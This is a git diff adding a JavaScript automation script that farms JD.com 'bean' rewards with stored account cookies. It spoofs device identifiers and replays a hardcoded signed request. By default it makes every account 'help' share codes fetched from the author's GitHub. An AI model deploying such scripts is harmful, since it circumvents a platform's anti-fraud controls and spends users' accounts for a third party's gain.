i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_bean_home.js b/jd_bean_home.js new file mode 100644 index 0000000..febd0b9 --- /dev/null +++ b/jd_bean_home.js @@ -0,0 +1,832 @@ +/* +领京豆额外奖励&抢京豆 +脚本自带助力码,介意者可将 29行 helpAuthor 变量设置为 false +活动入口:京东APP首页-领京豆 +更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#领京豆额外奖励 +23 1,12,22 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_bean_home.png, enabled=true + +================Loon============== +[Script] +cron "23 1,12,22 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, tag=领京豆额外奖励 + +===============Surge================= +领京豆额外奖励 = type=cron,cronexp="23 1,12,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js + +============小火箭========= +领京豆额外奖励 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_bean_home.js, cronexpr="23 1,12,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('领京豆额外奖励'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const helpAuthor = true; // 是否帮助作者助力,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', uuid = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + $.newShareCodes = [] + $.authorCode = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateBeanHome.json') + if (!$.authorCode) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.authorCode = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateBeanHome.json') || [] + } + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + uuid = randomString() + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdBeanHome(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.newShareCodes.length > 1) { + console.log(`\n【抢京豆】 ${$.UserName} 去助力排名第一的cookie`); + // let code = $.newShareCodes[(i + 1) % $.newShareCodes.length] + // await help(code[0], code[1]) + let code = $.newShareCodes[0]; + if(code[2] && code[2] === $.UserName){ + //不助力自己 + } else { + await help(code[0], code[1]); + } + } + if (helpAuthor && $.authorCode && $.canHelp) { + console.log(`\n【抢京豆】${$.UserName} 去帮助作者`) + for (let code of $.authorCode) { + const helpRes = await help(code.shareCode, code.groupCode); + if (helpRes && helpRes['code'] === '0') { + if (helpRes && helpRes.data && helpRes.data.respCode === 'SG209') { + console.log(`${helpRes.data.helpToast}\n`); + break; + } + } else { + console.log(`助力异常:${JSON.stringify(helpRes)}\n`); + } + } + } + for (let j = 1; j < $.newShareCodes.length && $.canHelp; j++) { + let code = $.newShareCodes[j]; + if(code[2] && code[2] === $.UserName){ + //不助力自己 + } else { + console.log(`【抢京豆】${$.UserName} 去助力账号 ${j + 1}`); + await help(code[0], code[1]); + await $.wait(2000); + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdBeanHome() { + try { + $.doneState = false + // for (let i = 0; i < 3; ++i) { + // await doTask2() + // await $.wait(1000) + // if ($.doneState) break + // } + do { + await doTask2() + await $.wait(3000) + } while (!$.doneState) + await $.wait(1000) + await award("feeds") + await $.wait(1000) + await getUserInfo() + await $.wait(1000) + await getTaskList(); + await receiveJd2(); + + await morningGetBean() + await $.wait(1000) + + await beanTaskList(1) + await $.wait(1000) + await queryCouponInfo() + $.doneState = false + let num = 0 + do { + await $.wait(2000) + await beanTaskList(2) + num++ + } while (!$.doneState && num < 5) + await $.wait(2000) + if ($.doneState) await beanTaskList(3) + + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +// 早起福利 +function morningGetBean() { + return new Promise(resolve => { + $.post(taskBeanUrl('morningGetBean', {"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} morningGetBean API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.awardResultFlag === "1") { + console.log(`早起福利领取成功:${data.data.bizMsg}`) + } else if (data.data.awardResultFlag === "2") { + console.log(`早起福利领取失败:${data.data.bizMsg}`) + } else { + console.log(`早起福利领取失败:${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 升级领京豆任务 +async function beanTaskList(type) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanTaskList', {"viewChannel":"myjd"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanTaskList API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (type) { + case 1: + console.log(`当前等级:${data.data.curLevel} 下一级可领取:${data.data.nextLevelBeanNum || 0}京豆`) + if (data.data.viewAppHome) { + if (!data.data.viewAppHome.takenTask) { + console.log(`去做[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag":"0","viewChannel":"myjd"}) + } + await $.wait(2000) + if (!data.data.viewAppHome.doneTask) { + console.log(`去领奖[${data.data.viewAppHome.mainTitle}]`) + await beanHomeIconDoTask({"flag":"1","viewChannel":"AppHome"}) + } else { + console.log(`[${data.data.viewAppHome.mainTitle}]已做完`) + } + } + break + case 2: + $.doneState = true + let taskInfos = data.data.taskInfos + for (let key of Object.keys(taskInfos)) { + let vo = taskInfos[key] + if (vo.times < vo.maxTimes) { + for (let key of Object.keys(vo.subTaskVOS)) { + let taskList = vo.subTaskVOS[key] + if (taskList.status === 1) { + $.doneState = false + console.log(`去做[${vo.taskName}]${taskList.title || ''}`) + await $.wait(2000) + await beanDoTask({"actionType": 1, "taskToken": `${taskList.taskToken}`}, vo.taskType) + if (vo.taskType === 9 || vo.taskType === 8) { + await $.wait(vo.waitDuration * 1000 || 5000) + await beanDoTask({"actionType": 0, "taskToken": `${taskList.taskToken}`}, vo.taskType) + } + } + } + } + } + break + case 3: + let taskInfos3 = data.data.taskInfos + for (let key of Object.keys(taskInfos3)) { + let vo = taskInfos3[key] + if (vo.times === vo.maxTimes) { + console.log(`[${vo.taskName}]已做完`) + } + } + default: + break + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function beanDoTask(body, taskType) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.actionType === 1 && (taskType !== 9 && taskType !== 8)) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(`完成任务,获得+${data.data.score}成长值`) + } else { + console.log(`完成任务失败:${data}`) + } + } + if (body.actionType === 0) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function beanHomeIconDoTask(body) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanHomeIconDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanHomeIconDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.flag === "0" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + if (body.flag === "1" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function queryCouponInfo() { + return new Promise(async resolve => { + $.get(taskBeanUrl('queryCouponInfo', {"rnVersion":"4.7","fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryCouponInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.couponTaskInfo) { + if (!data.data.couponTaskInfo.awardFlag) { + console.log(`去做[${data.data.couponTaskInfo.taskName}]`) + await sceneGetCoupon() + } else { + console.log(`[${data.data.couponTaskInfo.taskName}]已做完`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sceneGetCoupon() { + return new Promise(resolve => { + $.get(taskBeanUrl('sceneGetCoupon', {"rnVersion":"4.7","fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sceneGetCoupon API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function randomString() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) +} + +function getRandomInt(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min)) + min; +} +function doTask2() { + return new Promise(resolve => { + const body = {"awardFlag": false, "skuId": `${getRandomInt(10000000,20000000)}`, "source": "feeds", "type": '1'}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data){ + console.log(`任务完成进度:${data.data.taskProgress}/${data.data.taskThreshold}`) + if(data.data.taskProgress === data.data.taskThreshold) + $.doneState = true + } else if (data.code === '0' && data.errorCode === 'HT201') { + $.doneState = true + } else { + //HT304风控用户 + $.doneState = true + console.log(`做任务异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post(taskUrl('signBeanGroupStageIndex', 'body'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.jklInfo) { + $.actId = data.data.jklInfo.keyId + let {shareCode, groupCode} = data.data + if (!shareCode) { + console.log(`未获取到助力码,去开团`) + await hitGroup() + } else { + console.log(shareCode, groupCode) + // 去做逛会场任务 + if (data.data.beanActivityVisitVenue && data.data.beanActivityVisitVenue.taskStatus === '0') { + await help(shareCode, groupCode, 1) + } + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function hitGroup() { + return new Promise(resolve => { + const body = {"activeType": 2,}; + $.get(taskGetUrl('signGroupHit', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.respCode === "SG150") { + let {shareCode, groupCode} = data.data.signGroupMain + if (shareCode) { + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + console.log('开团成功') + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + await help(shareCode, groupCode, 1) + } else { + console.log(`为获取到助力码,错误信息${JSON.stringify(data.data)}`) + } + } else { + console.log(`开团失败,错误信息${JSON.stringify(data.data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function help(shareCode, groupCode, isTask = 0) { + return new Promise(resolve => { + const body = { + "activeType": 2, + "groupCode": groupCode, + "shareCode": shareCode, + "activeId": $.actId, + }; + if (isTask) { + console.log(`【抢京豆】做任务获取助力`) + body['isTask'] = "1" + } else { + console.log(`【抢京豆】去助力好友${shareCode}`) + body['source'] = "guest" + } + $.get(taskGetUrl('signGroupHelp', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`【抢京豆】${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0') { + console.log(`【抢京豆】${data.data.helpToast}`) + } + if(data.code === '0' && data.data && data.data.respCode === 'SG209') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getTaskList() { + return new Promise(resolve => { + const body = {"rnVersion": "4.7", "rnClient": "2", "source": "AppHome"}; + $.post(taskUrl('findBeanHome', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let beanTask = data.data.floorList.filter(vo => vo.floorName === "种豆得豆定制化场景")[0] + if (!beanTask.viewed) { + await receiveTask() + await $.wait(3000) + } + + let tasks = data.data.floorList.filter(vo => vo.floorName === "赚京豆")[0]['stageList'] + for (let i = 0; i < tasks.length; ++i) { + const vo = tasks[i] + if (vo.viewed) continue + await receiveTask(vo.stageId, `4_${vo.stageId}`) + await $.wait(3000) + } + await award() + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveTask(itemId = "zddd", type = "3") { + return new Promise(resolve => { + const body = {"awardFlag": false, "itemId": itemId, "source": "home", "type": type}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`完成任务成功,进度${data.data.taskProgress}/${data.data.taskThreshold}`) + } else { + console.log(`完成任务失败,${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function award(source="home") { + return new Promise(resolve => { + const body = {"awardFlag": true, "source": source}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`领奖成功,获得 ${data.data.beanNum} 个京豆`) + message += `领奖成功,获得 ${data.data.beanNum} 个京豆\n` + } else { + console.log(`领奖失败,${data.errorMessage}`) + // message += `领奖失败,${data.errorMessage}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function receiveJd2() { + var headers = { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167515 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'Cookie': cookie + }; + var dataString = 'body=%7B%7D&build=167576&client=apple&clientVersion=9.4.3&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=10&screen=1242%2A2208&sign=19c33b5b9ad4f02c53b6040fc8527119&st=1614701322170&sv=122' + var options = { + url: 'https://api.m.jd.com/client.action?functionId=sceneInitialize', + headers: headers, + body: dataString + }; + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0' && data['data']) { + console.log(`强制开启新版领京豆成功,获得${data['data']['sceneLevelConfig']['beanNum']}京豆\n`); + $.msg($.name, '', `强制开启新版领京豆成功\n获得${data['data']['sceneLevelConfig']['beanNum']}京豆`); + } else { + console.log(`强制开启新版领京豆结果:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&clientVersion=9.2.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function taskBeanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + "Referer": "https://h5.m.jd.com/" + } + } +} + +function taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 